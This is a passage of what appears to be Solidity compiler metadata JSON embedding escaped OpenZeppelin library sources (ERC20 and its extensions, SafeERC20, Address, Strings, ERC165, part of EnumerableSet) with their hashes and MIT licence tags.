{symbol}.\\n *\\n * The default value of {decimals} is 18. To select a different value for\\n * {decimals} you should overload it.\\n *\\n * All two of these values are immutable: they can only be set once during\\n * construction.\\n */\\n constructor(string memory name_, string memory symbol_) {\\n _name = name_;\\n _symbol = symbol_;\\n }\\n\\n /**\\n * @dev Returns the name of the token.\\n */\\n function name() public view virtual override returns (string memory) {\\n return _name;\\n }\\n\\n /**\\n * @dev Returns the symbol of the token, usually a shorter version of the\\n * name.\\n */\\n function symbol() public view virtual override returns (string memory) {\\n return _symbol;\\n }\\n\\n /**\\n * @dev Returns the number of decimals used to get its user representation.\\n * For example, if `decimals` equals `2`, a balance of `505` tokens should\\n * be displayed to a user as `5,05` (`505 / 10 ** 2`).\\n *\\n * Tokens usually opt for a value of 18, imitating the relationship between\\n * Ether and Wei. This is the value {ERC20} uses, unless this function is\\n * overridden;\\n *\\n * NOTE: This information is only used for _display_ purposes: it in\\n * no way affects any of the arithmetic of the contract, including\\n * {IERC20-balanceOf} and {IERC20-transfer}.\\n */\\n function decimals() public view virtual override returns (uint8) {\\n return 18;\\n }\\n\\n /**\\n * @dev See {IERC20-totalSupply}.\\n */\\n function totalSupply() public view virtual override returns (uint256) {\\n return _totalSupply;\\n }\\n\\n /**\\n * @dev See {IERC20-balanceOf}.\\n */\\n function balanceOf(address account) public view virtual override returns (uint256) {\\n return _balances[account];\\n }\\n\\n /**\\n * @dev See {IERC20-transfer}.\\n *\\n * Requirements:\\n *\\n * - `recipient` cannot be the zero address.\\n * - the caller must have a balance of at least `amount`.\\n */\\n function transfer(address recipient, uint256 amount) public virtual override returns (bool) {\\n _transfer(_msgSender(), recipient, amount);\\n return true;\\n }\\n\\n /**\\n * @dev See {IERC20-allowance}.\\n */\\n function allowance(address owner, address spender) public view virtual override returns (uint256) {\\n return _allowances[owner][spender];\\n }\\n\\n /**\\n * @dev See {IERC20-approve}.\\n *\\n * Requirements:\\n *\\n * - `spender` cannot be the zero address.\\n */\\n function approve(address spender, uint256 amount) public virtual override returns (bool) {\\n _approve(_msgSender(), spender, amount);\\n return true;\\n }\\n\\n /**\\n * @dev See {IERC20-transferFrom}.\\n *\\n * Emits an {Approval} event indicating the updated allowance. This is not\\n * required by the EIP. See the note at the beginning of {ERC20}.\\n *\\n * Requirements:\\n *\\n * - `sender` and `recipient` cannot be the zero address.\\n * - `sender` must have a balance of at least `amount`.\\n * - the caller must have allowance for ``sender``'s tokens of at least\\n * `amount`.\\n */\\n function transferFrom(\\n address sender,\\n address recipient,\\n uint256 amount\\n ) public virtual override returns (bool) {\\n _transfer(sender, recipient, amount);\\n\\n uint256 currentAllowance = _allowances[sender][_msgSender()];\\n require(currentAllowance >= amount, \\\"ERC20: transfer amount exceeds allowance\\\");\\n unchecked {\\n _approve(sender, _msgSender(), currentAllowance - amount);\\n }\\n\\n return true;\\n }\\n\\n /**\\n * @dev Atomically increases the allowance granted to `spender` by the caller.\\n *\\n * This is an alternative to {approve} that can be used as a mitigation for\\n * problems described in {IERC20-approve}.\\n *\\n * Emits an {Approval} event indicating the updated allowance.\\n *\\n * Requirements:\\n *\\n * - `spender` cannot be the zero address.\\n */\\n function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {\\n _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);\\n return true;\\n }\\n\\n /**\\n * @dev Atomically decreases the allowance granted to `spender` by the caller.\\n *\\n * This is an alternative to {approve} that can be used as a mitigation for\\n * problems described in {IERC20-approve}.\\n *\\n * Emits an {Approval} event indicating the updated allowance.\\n *\\n * Requirements:\\n *\\n * - `spender` cannot be the zero address.\\n * - `spender` must have allowance for the caller of at least\\n * `subtractedValue`.\\n */\\n function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {\\n uint256 currentAllowance = _allowances[_msgSender()][spender];\\n require(currentAllowance >= subtractedValue, \\\"ERC20: decreased allowance below zero\\\");\\n unchecked {\\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\\n }\\n\\n return true;\\n }\\n\\n /**\\n * @dev Moves `amount` of tokens from `sender` to `recipient`.\\n *\\n * This internal function is equivalent to {transfer}, and can be used to\\n * e.g. implement automatic token fees, slashing mechanisms, etc.\\n *\\n * Emits a {Transfer} event.\\n *\\n * Requirements:\\n *\\n * - `sender` cannot be the zero address.\\n * - `recipient` cannot be the zero address.\\n * - `sender` must have a balance of at least `amount`.\\n */\\n function _transfer(\\n address sender,\\n address recipient,\\n uint256 amount\\n ) internal virtual {\\n require(sender != address(0), \\\"ERC20: transfer from the zero address\\\");\\n require(recipient != address(0), \\\"ERC20: transfer to the zero address\\\");\\n\\n _beforeTokenTransfer(sender, recipient, amount);\\n\\n uint256 senderBalance = _balances[sender];\\n require(senderBalance >= amount, \\\"ERC20: transfer amount exceeds balance\\\");\\n unchecked {\\n _balances[sender] = senderBalance - amount;\\n }\\n _balances[recipient] += amount;\\n\\n emit Transfer(sender, recipient, amount);\\n\\n _afterTokenTransfer(sender, recipient, amount);\\n }\\n\\n /** @dev Creates `amount` tokens and assigns them to `account`, increasing\\n * the total supply.\\n *\\n * Emits a {Transfer} event with `from` set to the zero address.\\n *\\n * Requirements:\\n *\\n * - `account` cannot be the zero address.\\n */\\n function _mint(address account, uint256 amount) internal virtual {\\n require(account != address(0), \\\"ERC20: mint to the zero address\\\");\\n\\n _beforeTokenTransfer(address(0), account, amount);\\n\\n _totalSupply += amount;\\n _balances[account] += amount;\\n emit Transfer(address(0), account, amount);\\n\\n _afterTokenTransfer(address(0), account, amount);\\n }\\n\\n /**\\n * @dev Destroys `amount` tokens from `account`, reducing the\\n * total supply.\\n *\\n * Emits a {Transfer} event with `to` set to the zero address.\\n *\\n * Requirements:\\n *\\n * - `account` cannot be the zero address.\\n * - `account` must have at least `amount` tokens.\\n */\\n function _burn(address account, uint256 amount) internal virtual {\\n require(account != address(0), \\\"ERC20: burn from the zero address\\\");\\n\\n _beforeTokenTransfer(account, address(0), amount);\\n\\n uint256 accountBalance = _balances[account];\\n require(accountBalance >= amount, \\\"ERC20: burn amount exceeds balance\\\");\\n unchecked {\\n _balances[account] = accountBalance - amount;\\n }\\n _totalSupply -= amount;\\n\\n emit Transfer(account, address(0), amount);\\n\\n _afterTokenTransfer(account, address(0), amount);\\n }\\n\\n /**\\n * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.\\n *\\n * This internal function is equivalent to `approve`, and can be used to\\n * e.g. set automatic allowances for certain subsystems, etc.\\n *\\n * Emits an {Approval} event.\\n *\\n * Requirements:\\n *\\n * - `owner` cannot be the zero address.\\n * - `spender` cannot be the zero address.\\n */\\n function _approve(\\n address owner,\\n address spender,\\n uint256 amount\\n ) internal virtual {\\n require(owner != address(0), \\\"ERC20: approve from the zero address\\\");\\n require(spender != address(0), \\\"ERC20: approve to the zero address\\\");\\n\\n _allowances[owner][spender] = amount;\\n emit Approval(owner, spender, amount);\\n }\\n\\n /**\\n * @dev Hook that is called before any transfer of tokens. This includes\\n * minting and burning.\\n *\\n * Calling conditions:\\n *\\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\\n * will be transferred to `to`.\\n * - when `from` is zero, `amount` tokens will be minted for `to`.\\n * - when `to` is zero, `amount` of ``from``'s tokens will be burned.\\n * - `from` and `to` are never both zero.\\n *\\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\\n */\\n function _beforeTokenTransfer(\\n address from,\\n address to,\\n uint256 amount\\n ) internal virtual {}\\n\\n /**\\n * @dev Hook that is called after any transfer of tokens. This includes\\n * minting and burning.\\n *\\n * Calling conditions:\\n *\\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\\n * has been transferred to `to`.\\n * - when `from` is zero, `amount` tokens have been minted for `to`.\\n * - when `to` is zero, `amount` of ``from``'s tokens have been burned.\\n * - `from` and `to` are never both zero.\\n *\\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\\n */\\n function _afterTokenTransfer(\\n address from,\\n address to,\\n uint256 amount\\n ) internal virtual {}\\n}\\n\",\"keccak256\":\"0x418cfe64226a974419f8ab7287ad4bb413156a4d7af8ab5d9bcaa5678d1a2f22\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/IERC20.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev Interface of the ERC20 standard as defined in the EIP.\\n */\\ninterface IERC20 {\\n /**\\n * @dev Returns the amount of tokens in existence.\\n */\\n function totalSupply() external view returns (uint256);\\n\\n /**\\n * @dev Returns the amount of tokens owned by `account`.\\n */\\n function balanceOf(address account) external view returns (uint256);\\n\\n /**\\n * @dev Moves `amount` tokens from the caller's account to `recipient`.\\n *\\n * Returns a boolean value indicating whether the operation succeeded.\\n *\\n * Emits a {Transfer} event.\\n */\\n function transfer(address recipient, uint256 amount) external returns (bool);\\n\\n /**\\n * @dev Returns the remaining number of tokens that `spender` will be\\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\\n * zero by default.\\n *\\n * This value changes when {approve} or {transferFrom} are called.\\n */\\n function allowance(address owner, address spender) external view returns (uint256);\\n\\n /**\\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\\n *\\n * Returns a boolean value indicating whether the operation succeeded.\\n *\\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\\n * that someone may use both the old and the new allowance by unfortunate\\n * transaction ordering. One possible solution to mitigate this race\\n * condition is to first reduce the spender's allowance to 0 and set the\\n * desired value afterwards:\\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\\n *\\n * Emits an {Approval} event.\\n */\\n function approve(address spender, uint256 amount) external returns (bool);\\n\\n /**\\n * @dev Moves `amount` tokens from `sender` to `recipient` using the\\n * allowance mechanism. `amount` is then deducted from the caller's\\n * allowance.\\n *\\n * Returns a boolean value indicating whether the operation succeeded.\\n *\\n * Emits a {Transfer} event.\\n */\\n function transferFrom(\\n address sender,\\n address recipient,\\n uint256 amount\\n ) external returns (bool);\\n\\n /**\\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\\n * another (`to`).\\n *\\n * Note that `value` may be zero.\\n */\\n event Transfer(address indexed from, address indexed to, uint256 value);\\n\\n /**\\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\\n * a call to {approve}. `value` is the new allowance.\\n */\\n event Approval(address indexed owner, address indexed spender, uint256 value);\\n}\\n\",\"keccak256\":\"0x027b891937d20ccf213fdb9c31531574256de774bda99d3a70ecef6e1913ed2a\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../ERC20.sol\\\";\\nimport \\\"../../../utils/Context.sol\\\";\\n\\n/**\\n * @dev Extension of {ERC20} that allows token holders to destroy both their own\\n * tokens and those that they have an allowance for, in a way that can be\\n * recognized off-chain (via event analysis).\\n */\\nabstract contract ERC20Burnable is Context, ERC20 {\\n /**\\n * @dev Destroys `amount` tokens from the caller.\\n *\\n * See {ERC20-_burn}.\\n */\\n function burn(uint256 amount) public virtual {\\n _burn(_msgSender(), amount);\\n }\\n\\n /**\\n * @dev Destroys `amount` tokens from `account`, deducting from the caller's\\n * allowance.\\n *\\n * See {ERC20-_burn} and {ERC20-allowance}.\\n *\\n * Requirements:\\n *\\n * - the caller must have allowance for ``accounts``'s tokens of at least\\n * `amount`.\\n */\\n function burnFrom(address account, uint256 amount) public virtual {\\n uint256 currentAllowance = allowance(account, _msgSender());\\n require(currentAllowance >= amount, \\\"ERC20: burn amount exceeds allowance\\\");\\n unchecked {\\n _approve(account, _msgSender(), currentAllowance - amount);\\n }\\n _burn(account, amount);\\n }\\n}\\n\",\"keccak256\":\"0xf98cb1651a90d20ef77d8c1dd10d5fce4954e747603e5672a8292bd4368120dd\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/extensions/ERC20Pausable.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../ERC20.sol\\\";\\nimport \\\"../../../security/Pausable.sol\\\";\\n\\n/**\\n * @dev ERC20 token with pausable token transfers, minting and burning.\\n *\\n * Useful for scenarios such as preventing trades until the end of an evaluation\\n * period, or having an emergency switch for freezing all token transfers in the\\n * event of a large bug.\\n */\\nabstract contract ERC20Pausable is ERC20, Pausable {\\n /**\\n * @dev See {ERC20-_beforeTokenTransfer}.\\n *\\n * Requirements:\\n *\\n * - the contract must not be paused.\\n */\\n function _beforeTokenTransfer(\\n address from,\\n address to,\\n uint256 amount\\n ) internal virtual override {\\n super._beforeTokenTransfer(from, to, amount);\\n\\n require(!paused(), \\\"ERC20Pausable: token transfer while paused\\\");\\n }\\n}\\n\",\"keccak256\":\"0xb6d09c0a37d1222bff59fb166567558c057bab36b96a8457de29f25afd6e87b2\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../IERC20.sol\\\";\\n\\n/**\\n * @dev Interface for the optional metadata functions from the ERC20 standard.\\n *\\n * _Available since v4.1._\\n */\\ninterface IERC20Metadata is IERC20 {\\n /**\\n * @dev Returns the name of the token.\\n */\\n function name() external view returns (string memory);\\n\\n /**\\n * @dev Returns the symbol of the token.\\n */\\n function symbol() external view returns (string memory);\\n\\n /**\\n * @dev Returns the decimals places of the token.\\n */\\n function decimals() external view returns (uint8);\\n}\\n\",\"keccak256\":\"0x83fe24f5c04a56091e50f4a345ff504c8bff658a76d4c43b16878c8f940c53b2\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../IERC20.sol\\\";\\nimport \\\"../../../utils/Address.sol\\\";\\n\\n/**\\n * @title SafeERC20\\n * @dev Wrappers around ERC20 operations that throw on failure (when the token\\n * contract returns false). Tokens that return no value (and instead revert or\\n * throw on failure) are also supported, non-reverting calls are assumed to be\\n * successful.\\n * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,\\n * which allows you to call the safe operations as `token.safeTransfer(...)`, etc.\\n */\\nlibrary SafeERC20 {\\n using Address for address;\\n\\n function safeTransfer(\\n IERC20 token,\\n address to,\\n uint256 value\\n ) internal {\\n _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));\\n }\\n\\n function safeTransferFrom(\\n IERC20 token,\\n address from,\\n address to,\\n uint256 value\\n ) internal {\\n _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));\\n }\\n\\n /**\\n * @dev Deprecated. This function has issues similar to the ones found in\\n * {IERC20-approve}, and its usage is discouraged.\\n *\\n * Whenever possible, use {safeIncreaseAllowance} and\\n * {safeDecreaseAllowance} instead.\\n */\\n function safeApprove(\\n IERC20 token,\\n address spender,\\n uint256 value\\n ) internal {\\n // safeApprove should only be called when setting an initial allowance,\\n // or when resetting it to zero. To increase and decrease it, use\\n // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'\\n require(\\n (value == 0) || (token.allowance(address(this), spender) == 0),\\n \\\"SafeERC20: approve from non-zero to non-zero allowance\\\"\\n );\\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));\\n }\\n\\n function safeIncreaseAllowance(\\n IERC20 token,\\n address spender,\\n uint256 value\\n ) internal {\\n uint256 newAllowance = token.allowance(address(this), spender) + value;\\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\\n }\\n\\n function safeDecreaseAllowance(\\n IERC20 token,\\n address spender,\\n uint256 value\\n ) internal {\\n unchecked {\\n uint256 oldAllowance = token.allowance(address(this), spender);\\n require(oldAllowance >= value, \\\"SafeERC20: decreased allowance below zero\\\");\\n uint256 newAllowance = oldAllowance - value;\\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\\n }\\n }\\n\\n /**\\n * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement\\n * on the return value: the return value is optional (but if data is returned, it must not be false).\\n * @param token The token targeted by the call.\\n * @param data The call data (encoded using abi.encode or one of its variants).\\n */\\n function _callOptionalReturn(IERC20 token, bytes memory data) private {\\n // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since\\n // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that\\n // the target address contains contract code and also asserts for success in the low-level call.\\n\\n bytes memory returndata = address(token).functionCall(data, \\\"SafeERC20: low-level call failed\\\");\\n if (returndata.length > 0) {\\n // Return data is optional\\n require(abi.decode(returndata, (bool)), \\\"SafeERC20: ERC20 operation did not succeed\\\");\\n }\\n }\\n}\\n\",\"keccak256\":\"0x02348b2e4b9f3200c7e3907c5c2661643a6d8520e9f79939fbb9b4005a54894d\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/Address.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev Collection of functions related to the address type\\n */\\nlibrary Address {\\n /**\\n * @dev Returns true if `account` is a contract.\\n *\\n * [IMPORTANT]\\n * ====\\n * It is unsafe to assume that an address for which this function returns\\n * false is an externally-owned account (EOA) and not a contract.\\n *\\n * Among others, `isContract` will return false for the following\\n * types of addresses:\\n *\\n * - an externally-owned account\\n * - a contract in construction\\n * - an address where a contract will be created\\n * - an address where a contract lived, but was destroyed\\n * ====\\n */\\n function isContract(address account) internal view returns (bool) {\\n // This method relies on extcodesize, which returns 0 for contracts in\\n // construction, since the code is only stored at the end of the\\n // constructor execution.\\n\\n uint256 size;\\n assembly {\\n size := extcodesize(account)\\n }\\n return size > 0;\\n }\\n\\n /**\\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\\n * `recipient`, forwarding all available gas and reverting on errors.\\n *\\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\\n * imposed by `transfer`, making them unable to receive funds via\\n * `transfer`. {sendValue} removes this limitation.\\n *\\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\\n *\\n * IMPORTANT: because control is transferred to `recipient`, care must be\\n * taken to not create reentrancy vulnerabilities. Consider using\\n * {ReentrancyGuard} or the\\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\\n */\\n function sendValue(address payable recipient, uint256 amount) internal {\\n require(address(this).balance >= amount, \\\"Address: insufficient balance\\\");\\n\\n (bool success, ) = recipient.call{value: amount}(\\\"\\\");\\n require(success, \\\"Address: unable to send value, recipient may have reverted\\\");\\n }\\n\\n /**\\n * @dev Performs a Solidity function call using a low level `call`. A\\n * plain `call` is an unsafe replacement for a function call: use this\\n * function instead.\\n *\\n * If `target` reverts with a revert reason, it is bubbled up by this\\n * function (like regular Solidity function calls).\\n *\\n * Returns the raw returned data. To convert to the expected return value,\\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\\n *\\n * Requirements:\\n *\\n * - `target` must be a contract.\\n * - calling `target` with `data` must not revert.\\n *\\n * _Available since v3.1._\\n */\\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\\n return functionCall(target, data, \\\"Address: low-level call failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\\n * `errorMessage` as a fallback revert reason when `target` reverts.\\n *\\n * _Available since v3.1._\\n */\\n function functionCall(\\n address target,\\n bytes memory data,\\n string memory errorMessage\\n ) internal returns (bytes memory) {\\n return functionCallWithValue(target, data, 0, errorMessage);\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\\n * but also transferring `value` wei to `target`.\\n *\\n * Requirements:\\n *\\n * - the calling contract must have an ETH balance of at least `value`.\\n * - the called Solidity function must be `payable`.\\n *\\n * _Available since v3.1._\\n */\\n function functionCallWithValue(\\n address target,\\n bytes memory data,\\n uint256 value\\n ) internal returns (bytes memory) {\\n return functionCallWithValue(target, data, value, \\\"Address: low-level call with value failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\\n * with `errorMessage` as a fallback revert reason when `target` reverts.\\n *\\n * _Available since v3.1._\\n */\\n function functionCallWithValue(\\n address target,\\n bytes memory data,\\n uint256 value,\\n string memory errorMessage\\n ) internal returns (bytes memory) {\\n require(address(this).balance >= value, \\\"Address: insufficient balance for call\\\");\\n require(isContract(target), \\\"Address: call to non-contract\\\");\\n\\n (bool success, bytes memory returndata) = target.call{value: value}(data);\\n return _verifyCallResult(success, returndata, errorMessage);\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\\n * but performing a static call.\\n *\\n * _Available since v3.3._\\n */\\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\\n return functionStaticCall(target, data, \\\"Address: low-level static call failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\\n * but performing a static call.\\n *\\n * _Available since v3.3._\\n */\\n function functionStaticCall(\\n address target,\\n bytes memory data,\\n string memory errorMessage\\n ) internal view returns (bytes memory) {\\n require(isContract(target), \\\"Address: static call to non-contract\\\");\\n\\n (bool success, bytes memory returndata) = target.staticcall(data);\\n return _verifyCallResult(success, returndata, errorMessage);\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\\n * but performing a delegate call.\\n *\\n * _Available since v3.4._\\n */\\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\\n return functionDelegateCall(target, data, \\\"Address: low-level delegate call failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\\n * but performing a delegate call.\\n *\\n * _Available since v3.4._\\n */\\n function functionDelegateCall(\\n address target,\\n bytes memory data,\\n string memory errorMessage\\n ) internal returns (bytes memory) {\\n require(isContract(target), \\\"Address: delegate call to non-contract\\\");\\n\\n (bool success, bytes memory returndata) = target.delegatecall(data);\\n return _verifyCallResult(success, returndata, errorMessage);\\n }\\n\\n function _verifyCallResult(\\n bool success,\\n bytes memory returndata,\\n string memory errorMessage\\n ) private pure returns (bytes memory) {\\n if (success) {\\n return returndata;\\n } else {\\n // Look for revert reason and bubble it up if present\\n if (returndata.length > 0) {\\n // The easiest way to bubble the revert reason is using memory via assembly\\n\\n assembly {\\n let returndata_size := mload(returndata)\\n revert(add(32, returndata), returndata_size)\\n }\\n } else {\\n revert(errorMessage);\\n }\\n }\\n }\\n}\\n\",\"keccak256\":\"0x3b4820cac4f127869f6eb496c1d74fa6ac86ed24071e0f94742e6aef20e7252c\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/Context.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/*\\n * @dev Provides information about the current execution context, including the\\n * sender of the transaction and its data. While these are generally available\\n * via msg.sender and msg.data, they should not be accessed in such a direct\\n * manner, since when dealing with meta-transactions the account sending and\\n * paying for execution may not be the actual sender (as far as an application\\n * is concerned).\\n *\\n * This contract is only required for intermediate, library-like contracts.\\n */\\nabstract contract Context {\\n function _msgSender() internal view virtual returns (address) {\\n return msg.sender;\\n }\\n\\n function _msgData() internal view virtual returns (bytes calldata) {\\n return msg.data;\\n }\\n}\\n\",\"keccak256\":\"0x95098bd1d9c8dec4d80d3dedb88a0d949fa0d740ee99f2aa466bc308216ca6d5\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/Strings.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev String operations.\\n */\\nlibrary Strings {\\n bytes16 private constant _HEX_SYMBOLS = \\\"0123456789abcdef\\\";\\n\\n /**\\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\\n */\\n function toString(uint256 value) internal pure returns (string memory) {\\n // Inspired by OraclizeAPI's implementation - MIT licence\\n // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\\n\\n if (value == 0) {\\n return \\\"0\\\";\\n }\\n uint256 temp = value;\\n uint256 digits;\\n while (temp != 0) {\\n digits++;\\n temp /= 10;\\n }\\n bytes memory buffer = new bytes(digits);\\n while (value != 0) {\\n digits -= 1;\\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\\n value /= 10;\\n }\\n return string(buffer);\\n }\\n\\n /**\\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.\\n */\\n function toHexString(uint256 value) internal pure returns (string memory) {\\n if (value == 0) {\\n return \\\"0x00\\\";\\n }\\n uint256 temp = value;\\n uint256 length = 0;\\n while (temp != 0) {\\n length++;\\n temp >>= 8;\\n }\\n return toHexString(value, length);\\n }\\n\\n /**\\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.\\n */\\n function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {\\n bytes memory buffer = new bytes(2 * length + 2);\\n buffer[0] = \\\"0\\\";\\n buffer[1] = \\\"x\\\";\\n for (uint256 i = 2 * length + 1; i > 1; --i) {\\n buffer[i] = _HEX_SYMBOLS[value & 0xf];\\n value >>= 4;\\n }\\n require(value == 0, \\\"Strings: hex length insufficient\\\");\\n return string(buffer);\\n }\\n}\\n\",\"keccak256\":\"0x391d3ba97ab6856a16b225d6ee29617ad15ff00db70f3b4df1ab5ea33aa47c9d\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/introspection/ERC165.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"./IERC165.sol\\\";\\n\\n/**\\n * @dev Implementation of the {IERC165} interface.\\n *\\n * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\\n * for the additional interface id that will be supported. For example:\\n *\\n * ```solidity\\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\\n * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\\n * }\\n * ```\\n *\\n * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\\n */\\nabstract contract ERC165 is IERC165 {\\n /**\\n * @dev See {IERC165-supportsInterface}.\\n */\\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\\n return interfaceId == type(IERC165).interfaceId;\\n }\\n}\\n\",\"keccak256\":\"0x5718c5df9bd67ac68a796961df938821bb5dc0cd4c6118d77e9145afb187409b\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/introspection/IERC165.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev Interface of the ERC165 standard, as defined in the\\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\\n *\\n * Implementers can declare support of contract interfaces, which can then be\\n * queried by others ({ERC165Checker}).\\n *\\n * For an implementation, see {ERC165}.\\n */\\ninterface IERC165 {\\n /**\\n * @dev Returns true if this contract implements the interface defined by\\n * `interfaceId`. See the corresponding\\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\\n * to learn more about how these ids are created.\\n *\\n * This function call must use less than 30 000 gas.\\n */\\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\\n}\\n\",\"keccak256\":\"0xa28007762d9da9db878dd421960c8cb9a10471f47ab5c1b3309bfe48e9e79ff4\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/structs/EnumerableSet.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev Library for managing\\n * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive\\n * types.\\n *\\n * Sets have the following properties:\\n *\\n * - Elements are added, removed, and checked for existence in constant time\\n * (O(1)).\\n * - Elements are enumerated in O(n). No guarantees are made on the ordering.\\n *\\n * ```\\n * contract Example {\\n * // Add the library methods\\n * using EnumerableSet for EnumerableSet.AddressSet;\\n *\\n * // Declare a set state variable\\n * EnumerableSet.AddressSet private mySet;\\n * }\\n * ```\\n *\\n * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)\\n * and `uint256` (`UintSet`) are supported.\\n */\\nlibrary EnumerableSet {\\n // To implement this library for multiple types with as little code\\n // repetition as possible, we write it in terms of a generic Set type with\\n // bytes32 values.\\n // The Set implementation uses private functions, and user-facing\\n // implementations (such as AddressSet) are just wrappers around the\\n // underlying Set.\\n // This means that we can only create new EnumerableSets for types that fit\\n // in bytes32.\\n\\n struct Set {\\n // Storage of set values\\n bytes32[] _values;\\n // Position of the value in the `values` array, plus 1 because index 0\\n // means a value is not in the set.\\n mapping(bytes32 => uint256) _indexes;\\n }\\n\\n /**\\n * @dev Add a value to a set. O(1).\\n *\\n * Returns true if the value was added to the set, that is if it was not\\n * already present.\\n */\\n function _add(Set storage set, bytes32 value) private returns (bool) {\\n if (!_contains(set, value)) {\\n set._values.push(value);\\n // The value is stored at length-1, but we add 1 to all indexes\\n // and use 0 as a sentinel value\\n set._indexes[value] = set._values.length;\\n return true;\\n } else {\\n return false;\\n }\\n }\\n\\n /**\\n * @dev Removes a value from a set. O(1).\\n 